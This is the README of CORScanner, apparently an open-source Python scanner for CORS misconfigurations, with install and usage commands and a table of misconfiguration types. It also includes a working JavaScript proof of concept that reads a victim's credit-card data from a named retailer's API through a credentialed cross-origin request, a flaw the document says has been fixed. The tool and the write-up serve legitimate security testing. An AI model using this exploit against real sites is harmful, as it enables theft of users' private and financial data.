/CORScanner

Fast CORS misconfiguration vulnerabilities scanner🍻

Primary LanguagePythonMIT LicenseMIT

About CORScanner

CORScanner is a python tool designed to discover CORS misconfigurations vulnerabilities of websites. It helps website administrators and penetration testers to check whether the domains/urls they are targeting have insecure CORS policies.

The correct configuration of CORS policy is critical to website security, but CORS configurations have many error-prone corner cases. Web developers who are not aware of these corner cases are likely to make mistakes. Thus, we summarize different common types of CORS misconfigurations and integrate them into this tool, to help developers/security-practioners quickly locate and detect such security issues.

Technical details: We Still Don’t Have Secure Cross-Domain Requests: an Empirical Study of CORS

中文详解:绕过浏览器SOP,跨站窃取信息:CORS配置安全漏洞报告及最佳部署实践

Screenshots

CORScanner

Installation

  • Download this tool
git clone https://github.com/chenjj/CORScanner.git
  • Install dependencies
sudo pip install -r requirements.txt

CORScanner depends on the requests, gevent, tld, colorama and argparse python modules.

Recommended Python Version:

  • The recommended version for Python 2 is 2.7.x

Usage

Short Form Long Form Description
-u --url URL/domain to check it's CORS policy
-d --headers Add headers to the request
-i --input URL/domain list file to check their CORS policy
-t --threads Number of threads to use for CORS scan
-o --output Save the results to text file
-v --verbose Enable the verbose mode and display results in realtime
-h --help show the help message and exit

Examples

  • To check CORS misconfigurations of specific domain:

python cors_scan.py -u example.com

  • To check CORS misconfigurations of specific URL:

python cors_scan.py -u http://example.com/restapi

  • To check CORS misconfiguration with specific headers:

python cors_scan.py -u example.com -d "Cookie: test"

  • To check CORS misconfigurations of multiple domains/URLs:

python cors_scan.py -i top_100_domains.txt -t 100

  • To list all the basic options and switches use -h switch:

python cors_scan.py -h

Misconfiguration types

Misconfiguration type Description
Reflect_any_origin Blindly reflect the Origin header value in Access-Control-Allow-Origin headers in responses
Prefix_match wwww.example.com trusts example.com.evil.com
Suffix_match wwww.example.com trusts evilexample.com
Not_escape_dot wwww.example.com trusts wwwaexample.com
Substring match wwww.example.com trusts example.co
Trust_null wwww.example.com trusts null, which can be forged by iframe sandbox scripts
HTTPS_trust_HTTP Risky trust dependency, a MITM attacker may steal HTTPS site secrets
Trust_any_subdomain Risky trust dependency, a subdomain XSS may steal its secrets

Exploitation examples

Here is an example about how to exploit "Reflect_any_origin" misconfiguration on Walmart.com. Note that the vulnerability has been fixed.

Walmart.com video on Youtube:

Walmart_CORS_misconfiguration_exploitation

Here is the exploitation code:

<script>
    // Send a cross origin request to target website server, and read victim's private data
    var req = new XMLHttpRequest();
    req.open('GET',"https://www.walmart.com/account/electrode/account/api/customer/:CID/credit-card",true);
    req.onload = stealData;
    req.withCredentials = true;
    req.send();

    function stealData(){
        //read the response, and extract the data
        var data= JSON.stringify(JSON.parse(this.responseText),null,2);

        //display it on the page. A real attacker can send the data to his server.
        output(data);
    }

    function output(inp) {
        document.body.appendChild(document.createElement('pre')).innerHTML = inp;
    }
</script>

If you have understood how the demo works, you can read Section 5 and Section 6 of the CORS paper and know how to exploit other misconfigurations.

License

CORScanner is licensed under the MIT license. take a look at the LICENSE for more information.

Credits

This work is inspired by the following excellent researches:

  • James Kettle, “Exploiting CORS misconfigurations for Bitcoins and bounties”, AppSecUSA 2016*
  • Evan Johnson, “Misconfigured CORS and why web appsec is not getting easier”, AppSecUSA 2016*
  • Von Jens Müller, "CORS misconfigurations on a large scale", CORStest*

Version

Current version is 1.0